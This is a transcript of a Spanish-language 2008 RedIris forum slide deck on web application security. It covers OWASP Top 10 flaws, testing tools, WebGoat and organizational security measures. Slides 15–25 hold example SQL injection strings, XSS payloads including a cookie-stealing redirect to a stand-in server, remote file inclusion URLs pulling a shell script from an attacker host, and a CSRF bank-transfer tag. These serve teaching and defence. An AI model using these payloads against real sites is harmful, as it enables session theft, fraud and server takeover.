VII foro de seguridad RedIris Seguridad en Web

75
fs2008 VII foro de seguridad RedIris Seguridad en Web BCN 27&&28/03

Transcript of VII foro de seguridad RedIris Seguridad en Web

Page 1: VII foro de seguridad RedIris Seguridad en Web

fs2008VII foro de seguridad RedIrisSeguridad en WebBCN 27&&28/03

Page 2: VII foro de seguridad RedIris Seguridad en Web

Vulnerabilidades

Page 3: VII foro de seguridad RedIris Seguridad en Web

Dónde están llegando las cosas...Los bancos británicos se aseguran contra el phishing: cargarán las pérdidas a los usuarios de sistemas inseguros. 6. Abril 2008

http://www.kriptopolis.org/bancos-britanicos-cargan-phishing-a-clientes-sistemas-inseguros

La Asociación de la Banca Británica (BBS) ha publicado un código (que ha entrado en vigor el pasado 31 de marzo) que responsabiliza de posibles pérdidas en sus cuentas de banca electrónica a los usuarios que actúen de forma fraudulenta, pero también a todos aquellos que no observen un "cuidado razonable" (punto 12.11).

Lo que la banca británica entiende por "cuidado razonable" se aclara en los puntos 12.5 y 12.9, a los que nos remite. Por ejemplo, el punto 12.9 especifica lo siguiente:

Mantenga seguro su PC. Utilice antivirus y spyware (sic) actualizados y un cortafuegos personal.

Page 4: VII foro de seguridad RedIris Seguridad en Web
Page 5: VII foro de seguridad RedIris Seguridad en Web
Page 6: VII foro de seguridad RedIris Seguridad en Web

Motivaciones

Page 7: VII foro de seguridad RedIris Seguridad en Web

Motivaciones

$1–$6

$2–$12

$14–$18$5$300

$3$3$6–$20$3–5$50–$500$10–$50$12$10

Item

Advertised Price (in US Dollars)

United States-based credit card with card verification valueUnited Kingdom-based credit card with card verification valueAn identity (including US bank account, credit card, date of birth, and government issued identification number)List of 29,000 emailsOnline banking account with a $9,900 balanceYahoo Mail cookie exploit—advertised to facilitate full access when successfulValid Yahoo and Hotmail email cookiesCompromised computerPhishing Web site hosting—per siteVerified PayPal account with balance (balance varies)Unverified PayPal account with balance (balance varies)Skype accountWorld of Warcraft account—one month duration

Advertised prices of items traded on underground economy servers. Source: Symantec Corporation.

Page 8: VII foro de seguridad RedIris Seguridad en Web

Motivaciones

$

Page 9: VII foro de seguridad RedIris Seguridad en Web

Ataques al cliente web● Drive-by downloads

● Software (malware) descargado desde el ordenador sin la intervención o el conocimiento del usuario

● Simplemente por visitar una página Web● Sin pulsar explícitamente en un enlace● Explota vulnerabilidades en el navegador o sus extensiones, software asociado

(Adobe Reader, Flash...), software cliente, o el SO (y librerías)

●¿Cliente Web?

Page 10: VII foro de seguridad RedIris Seguridad en Web

Ataques al servidor web

Page 11: VII foro de seguridad RedIris Seguridad en Web

¿Al servidor web?

Page 12: VII foro de seguridad RedIris Seguridad en Web

Vulnerabilidades más explotadas●Remote File Inclusion●SQL Injection: pero no sólo SQL, cualquier BBDD: LDAP, ficheros...●Cross Site Scripting (XSS)●Cross Site request forgery (CSRF)

Tendencia hacia el:- {ER} Cross Site [a-zA-Z0-9 ]* \([A-Z]*\)

- Cross Site Printing- Cross Site lo que sea...

Ver lista OWASP TOP 10

Page 13: VII foro de seguridad RedIris Seguridad en Web

Vulnerabilidades más explotadas

Page 14: VII foro de seguridad RedIris Seguridad en Web

Anatomía de un ataque típico

Page 15: VII foro de seguridad RedIris Seguridad en Web

SQL InjectionLa inyección de código SQL se produce cuando datos suministrados por el usuario son enviados sin filtrar a un intérprete como parte de una consulta (Query), con el fin de modificar el comportamiento original, para ejecutar comandos o consultas arbitrarias en la base de datos.

<code>sql_query=“SELECT * FROM users WHEREusername = '" + username_string + "' ANDuserpass = '" + password_string + "'"</code>

Page 16: VII foro de seguridad RedIris Seguridad en Web

SQL Injection

Consulta final en DB:

SELECT * FROM users WHEREusername = 'prueba' ANDuserpass = 'test'

username: pruebapassword: test

Page 17: VII foro de seguridad RedIris Seguridad en Web

SQL Injection

Consulta final en DB:

SELECT * FROM users WHEREusername = 'prueba'' ANDuserpass = 'test'

username: prueba'password: test

Microsoft OLE DB Provider for ODBC Drivers(0x80040E14)[Microsoft][ODBC SQL Server Driver][SQLServer]Unclosed quotation mark before the character string' AND userpass=userpass_string'

Page 18: VII foro de seguridad RedIris Seguridad en Web

SQL Injection: 'OR 1=1; - -

Consulta final en DB:

SELECT * FROM users WHEREusername = '' OR 1=1 ;­­  ANDuserpass = 'test'

username:'OR 1=1; ­­ password: test

; DROP TABLE ...; SELECT * FROM ... ...

Page 19: VII foro de seguridad RedIris Seguridad en Web

SQL Injection

Objetivos:

●Evadir autenticaciones, controles de acceso.●Obtener y/o modificar datos arbitrarios de la BBDD●Leer ficheros del sistema operativo●Ejecutar comandos en el S.O.

Blind SQL Injection

Page 20: VII foro de seguridad RedIris Seguridad en Web

XSS Cross Site ScriptingLa vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos.

Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc...

¿Que se puede hacer con ellos?:

● Robo de información de autenticación y secuestro de cuentas● Robo y envenenamiento de cookies● Phishing● Escaneo de puertos de intranet● Vulnerabilidades del browser

Page 21: VII foro de seguridad RedIris Seguridad en Web

XSS Cross Site ScriptingLa vulnerabilidad ocurre cuando una aplicación recibe datos enviados por el usuario, y los devuelve al browser sin validarlos o codificarlos.

Para poder explotar esta vulnerabilidad generalmente el atacante tendrá que engañar a la víctima en abrir un link, visitar una página, ver una imagen, etc...

Prueba simple:

<script>alert("XSS")</script>

¿Puedo dejarlo de forma permanente? Libro de visitas, SQL Injection, etc..

Lo siguiente un defacement (desfigurar): <html><body><IMG SRC="http://site.com/yourDefaceIMAGE.png"></body></html>

Sin comillas: <script>alert(String.fromCharCode(116, 48, 112, 80, 56, 117, 90, 122))</script>

Obtención de cookies: document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

Page 22: VII foro de seguridad RedIris Seguridad en Web

RFI [Remote] File Inclusion

La inclusión remota de ficheros o código permite a los atacantes incluir código y datos arbitrarios en la aplicación vulnerable, que luego se ejecutará en elservidor.Muchas aplicaciones permiten subir ficheros, fotos,documentos, etc... La inclusión de los ficheros puede ser tanto local como remota.

La podemos encontrar en urls del tipo:

http://vulnsite.com/leer.php?file=news.php http://vulnsite.com/area.php?file=news http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php http://vulnsite.com/leer.php?file=http://attackersite.net/cmd.php%00

Page 23: VII foro de seguridad RedIris Seguridad en Web

RFI [Remote] File InclusionSi logramos incluir código, ficheros o realizar un upload podemos...

●Ejecutar comandos a través de una consola web.●(Darkraver web-kit)●Paneles de control (c99, r57)●Cliente SQL a través de http.●Subir y ejecutar cualquier binario (Port redirectors, túneles, etc)● Cualquier cosa que se nos ocurra.

Control total del servidor :P

Page 24: VII foro de seguridad RedIris Seguridad en Web

Failure to Restrict URL AccessUsualmente la aplicación protege solamente las funcionalidades más sensibles, evitando publicar los links o las urls a los usuarios no autorizados.

Los atacantes explotan esta vulnerabilidad accediendo directamente a estas funcionalidades

Existen muchos diccionarios creados para explotaresta vulnerabilidad:

● Diccionarios de distintos idiomas● Diccionarios por contexto dependiendo del● servidor Web, servidor de aplicaciones, y Aplicaciones

/admin :P

Page 25: VII foro de seguridad RedIris Seguridad en Web

CSRF Cross Site Request ForgeryEl atacante fuerza al browser de la víctima a realizar una petición, en la sesión autenticada o no, de una aplicación sin el conocimiento del usuario.

<IMG SRC=”http://www.mibancaonline.com/transferencia.asp?amount=1000000&to_account=3l3373” />

Page 26: VII foro de seguridad RedIris Seguridad en Web

Automatizando los ataquesPara todos estos ataques hay herramientas especializadas y muy potentes:

SQL Injections●Sqlbif: http://www.open-labs.org/●SqPyfia: http://www.edge-security.com●Sqlmap: http://sqlmap.sourceforge.net/●Sqlix : http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

•Failure tor restrict URL access:•Wfuzz: http://www.edge-security.com/wfuzz.php•Dirb: http://www.open-labs.org/

- WebSlayer- ProxyStrike- Mtools- ...

Page 27: VII foro de seguridad RedIris Seguridad en Web

Recomendaciones generales● Activar SIEMPRE las actualizaciones automáticas cuando el

software lo permite● Mantenerse informado sobre los cambios del software

● Página Web Oficial del fabricante● Listas de correo

● Instalar y usar software AntiVirus (No protege contra todo el código malicioso)

● Seguir el principio de: “No lo habilites sino lo necesitas”● Usar cuentas con privilegios limitados

● Administrador para la gestión y el mantenimiento del SO y software● Usuario sin privilegios para el uso diario

● Educar al usuario para evitar comportamientos inseguros

● En Firefox: Extension 'no-script'

Page 28: VII foro de seguridad RedIris Seguridad en Web

Abriendo los ojos

Page 29: VII foro de seguridad RedIris Seguridad en Web

OWASPThe Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. Our mission is to make application security "visible," so that people and organizations can make informed decisions about application security risks. Everyone is free to participate in OWASP and all of our materials are available under an open source license. The OWASP Foundation is a 501c3 not-for-profit charitable organization that ensures the ongoing availability and support for our work.

Page 30: VII foro de seguridad RedIris Seguridad en Web

gran cantidad de proyectos interesantesOWASP

Page 31: VII foro de seguridad RedIris Seguridad en Web

● Educar desarrolladores, diseñadores, arquitectos y organizaciones sobre las consecuencias de las vulnerabilidades en la seguridad.

● Todos los años contamos con un nuevo proyecto Top Ten.

– A1 - Cross Site Scripting (XSS)

– A2 - Injection Flaws

– A3 - Malicious File Execution

– A4 - Insecure Direct Object Reference

– A5 - Cross Site Request Forgery (CSRF)

– A6 - Information Leakage and Improper Error Handling

– A7 - Broken Authentication and Session Management

– A8 - Insecure Cryptographic Storage

– A9 - Insecure Communications

– A10 - Failure to Restrict URL Access

OWASP Top Ten Project 2007

Page 32: VII foro de seguridad RedIris Seguridad en Web

WebScarab / WebScarab NG● Framework para análisis de aplicaciones que se comunican por HTTP/HTTPS

● Multiplataforma

● Totalmente extensible

● Utilización como proxy: podemos revisar y modificar las peticiones hechas por el navegador antes de ser enviadas al servidor, y revisar y modificar las respuestas del servidor antes que lleguen al navegador. ¿Útil, no? :P

● Análisis SessionID: podemos analizar las cookies de forma fácil

● Simulador de ancho de banda

● Fuzzer: automatizar tareas repetitivas a la hora de reemplazar listas de valores

● ...

● http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

Page 33: VII foro de seguridad RedIris Seguridad en Web

WebScarab / WebScarab NG● White Box Hacking

● Comprobar nuestras propias aplicaciones

● Podemos divertirnos por ahí :P

Page 34: VII foro de seguridad RedIris Seguridad en Web

WebGoat● Una deliberadamente insegura aplicación web J2EE, para aprender lecciones

sobre seguridad web.

● ¿Qué mejor forma de aprender que hacer lo que ellos hacen?

● Conjunto de lecciones sobre ataques que tendremos que pasar, de menor a mayor dificultad.

● Nos da acceso al fuente para que podamos ver qué no debemos hacer, explicaciones de la solución, estadísticas de cómo van nuestros ataques.

● Necesitaremos como herramienta adicional un Proxy HTTP/HTTPS, ¿WebScarab?

● Podemos jugar a hackear cosas, o bajarnos el fuente, arreglarlo, y ver si es segura nuestra forma de programar.

● Es bastante divertido, y a la vez estamos aprendiendo.

Page 35: VII foro de seguridad RedIris Seguridad en Web

WebGoat● Lecciones

– Cross Site Scripting

– Access Control

– Thread Safety

– Hidden Form Field Manipulation

– Parameter Manipulation

– Weak Session Cookies

– Blind SQL Injection

– Numeric SQL Injection

– String SQL Injection

– Web Services

– Fail Open Authentication

– Dangers of HTML Comments

– ...

etc...

Page 36: VII foro de seguridad RedIris Seguridad en Web

WebGoat

● Recomendado para desarrolladores Java para pasar una tarde de domingo.

Page 37: VII foro de seguridad RedIris Seguridad en Web

OWASP Testing Guide v2/3 ● Information Gathering● Authentication● Data Validation Testing: Oracle, LDAP, XSS...● DoS● Web Services● AJAX Testing● Cómo escribir un informe de seguridad

http://www.owasp.org/index.php/OWASP_Testing_Guide_v2_Table_of_Contents

OWASP Guide v3 ● Próxima traducción al castellano● Es una guía de buenas prácticas:

– Gestión de sesiones, autenticación, autorización, WS, Ajax, Phising, Mantenimiento...

http://www.owasp.org/index.php/Category:OWASP_Guide_Project

Page 38: VII foro de seguridad RedIris Seguridad en Web

OWASP varios● Se está viendo la forma de patrocinar a OWASP por parte de CRUE y

CENATIC

● Todas sus guías las venden en papel, sin ánimo de lucro (14 EUR la más cara con 547pág.)

● Existen muchos más proyectos:

– OWASP Legal Project

– OWASP CSRFGuard Project: filtro J2EE mitigar ataques CSRF

– OWASP LiveCD Education

– Generador de informes de seguridad

– OWASP Code Review

– ...

Page 39: VII foro de seguridad RedIris Seguridad en Web

Software Libre

Page 40: VII foro de seguridad RedIris Seguridad en Web

Software Libre, tenemos un problema

● El hecho que el mercado gire la cabeza hacia el software libre, ha hecho que muchos atacantes también lo hagan hacia él.

– Tienen el código fuente.

– Nosotros no nos preocupamos demasiado. Hemos de estar más al día en BBDD de vulnerabilidades

– No olvidemos que dentro del Software Libre también existen aplicaciones mal hechas.

– Hemos de añadir un factor más en la selección: cuán seguro es un software, antes de cogerlo porque sí.

Page 41: VII foro de seguridad RedIris Seguridad en Web
Page 42: VII foro de seguridad RedIris Seguridad en Web

Software Libre: Soluciones● OPCIÓN 1: preguntadnos

● OPCIÓN 2: yo

– es un producto seguro

– existe un equipo detrás

– estamos dispuestos a meter mano

– bbdd de vulnerabilidades

– lista de correo del producto

Page 43: VII foro de seguridad RedIris Seguridad en Web

Medidas

Page 44: VII foro de seguridad RedIris Seguridad en Web

White Box HackingHemos de “probar” nuestra aplicación, al igual que lo harían ellos, por lo quenos vendrá muy bien seguir el curso de WebGoat.

Este tipo de trabajos deben hacerlo personas ajenas al desarrollo de la aplicación encuestión: - empresa de seguridad externa - formar equipo en ATICA

No lo hagáis, y si lo hacéis por vuestra propia cuenta, por favor, avisad.

Page 45: VII foro de seguridad RedIris Seguridad en Web

“Las aplicaciones seguras no nacen por generación espontánea,son el resultado de una organización, que decide que hará quesus aplicaciones serán seguras...”

Page 46: VII foro de seguridad RedIris Seguridad en Web

Política de seguridad

- Necesitamos de una política de seguridad. Sí, aquí en ATICA.

- Esta ha de ser tomada como un objetivo de la organización.

- No sólo pensemos en la seguridad web, también en la física.

- Hagámos una, y vamos a usarla.

Page 47: VII foro de seguridad RedIris Seguridad en Web

QA¿Tiene calidad nuestro código fuente?

Page 48: VII foro de seguridad RedIris Seguridad en Web

¿Medimos la calidad de nuestro software?

Si no lo medimos difícilmente podremos decirsi es de calidad o no...

Page 49: VII foro de seguridad RedIris Seguridad en Web

“...no tan importante es elegir entre una metodología u otra,como elegir al menos una...”

Page 50: VII foro de seguridad RedIris Seguridad en Web

● ¿Qué metodologías utilizamos?

– Obviamente dependerá del proyecto: RUP, UML, SCRUM

● ¿Por qué?

– El desarrollo ad-hoc es desestructurado a la hora de hacer aplicaciones seguras.

– Existen metodologías que incluyen este objetivo.

● Diseño, testeo y documentación.

● Ahora todos juntos: ¡Diseño, testeo y documentación!

Metodología

Page 51: VII foro de seguridad RedIris Seguridad en Web

Coding Standards

● Tenemos que converger a tener estándares en el código a la hora de programar.

● El mantenimiento se hará más fácil.

● No dependeremos tanto de las personas.

● A alguien nuevo le sería más fácil ponerse al día.

● Por poner un ejemplo: http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html

Page 52: VII foro de seguridad RedIris Seguridad en Web

Formación

● Estamos faltos de formación en temas de seguridad

● Soluciones– Autoformación

– Nos formamos entre nosotros (eso estaría bien)

● Sería fructífero contarnos los unos a los otros, aunque sea una vez al año que hacemos. 1 hora de cada 1 de nosotros. Así sabríamos un poco mejor, que cuando uno de nosotros tira una gota a un lago, las ondas llegan hasta la orilla.

– Formación externa

Page 53: VII foro de seguridad RedIris Seguridad en Web

Leer, leer, leer...

● El índice de lectura en España mejora ligeramente y se sitúa en el 57 por ciento

● Y yo digo que el 37,3% de las estadísticas son falsas.

● Sé que no tenemos Labs Days como en Google.

Page 54: VII foro de seguridad RedIris Seguridad en Web

Conclusiones● Necesidad de una política de seguridad● Utilizar metodologías● Utilizar estándares de código● Necesitamos formación en materia de seguridad● Hey! También tenemos deberes nosotros: leer y autoformarnos...● QA, emepecemos a medir nuestra calidad● Concluyo sabiendo que el 90% de vosotros me odiaréis de por vida... (el 37,3% de las estadísticas son falsas)

Page 55: VII foro de seguridad RedIris Seguridad en Web

Un enfoque prácticoUCLM

Page 56: VII foro de seguridad RedIris Seguridad en Web

Similar a la UMU...

Page 57: VII foro de seguridad RedIris Seguridad en Web

Similar a la UMU...

Page 58: VII foro de seguridad RedIris Seguridad en Web

Todos somos la UCLM

Page 59: VII foro de seguridad RedIris Seguridad en Web

http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf

Seguridad en aplicaciones WebProblemática

Page 60: VII foro de seguridad RedIris Seguridad en Web

http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf http://www.sans.org/top20/

OWASP Top10 SANS Top10

Page 61: VII foro de seguridad RedIris Seguridad en Web

Enfoque organizativo

Page 62: VII foro de seguridad RedIris Seguridad en Web

Gestión de la seguridad por perfilesBuscar puntos de control de la seguridad.

Page 63: VII foro de seguridad RedIris Seguridad en Web

Dónde actuar

Page 64: VII foro de seguridad RedIris Seguridad en Web

Dónde actuar

Page 65: VII foro de seguridad RedIris Seguridad en Web

Estrategia de seguridad web

Page 66: VII foro de seguridad RedIris Seguridad en Web

A, administradoresD, desarrolloS, seguridad ¿externa?

WAF, Web Application FirewallsWASS, Web Application Security Scanners

Estrategia de seguridad web

Page 67: VII foro de seguridad RedIris Seguridad en Web

Plan de mejoraSeguridad en aplicaciones webÁmbito: Aplicaciones web corporativas

Page 68: VII foro de seguridad RedIris Seguridad en Web

Marco normativo

Requisitos para las aplicaciones web

Page 69: VII foro de seguridad RedIris Seguridad en Web

Análisis de la situación de partida➔Diferencias entre las directrices y la situación de partida

➔Cuestiones● Personal y organización● Políticas (logs, red, incidentes)➔ Procedimientos y métodos (parcheo, cambios, etc.)● Entorno (red, servicios, etc.)

➔Inventarios● Aplicaciones, bases de datos, servidores y personal● Herramientas, lenguajes, librerías, frameworks

➢ Necesaria adaptación:DesarrolloExplotaciónEvaluaciónApoyo

Page 70: VII foro de seguridad RedIris Seguridad en Web

Adaptación: DESARROLLO

Page 71: VII foro de seguridad RedIris Seguridad en Web

Adaptación: EXPLOTACIÓN

Page 72: VII foro de seguridad RedIris Seguridad en Web

Adaptación: EVALUACIÓN

Page 73: VII foro de seguridad RedIris Seguridad en Web

Adaptación: APOYO

Page 74: VII foro de seguridad RedIris Seguridad en Web

Plan de choque

Futuro

Page 75: VII foro de seguridad RedIris Seguridad en Web

Open Web Application Security Project (OWASP)http://www.owasp.org

Web Application Security Consortium (WASC)http://www.webappsec.org

Center for Internet Security (CIS)http://www.cisecurity.org

Raul Sileswww.raulsiles.com

Referencias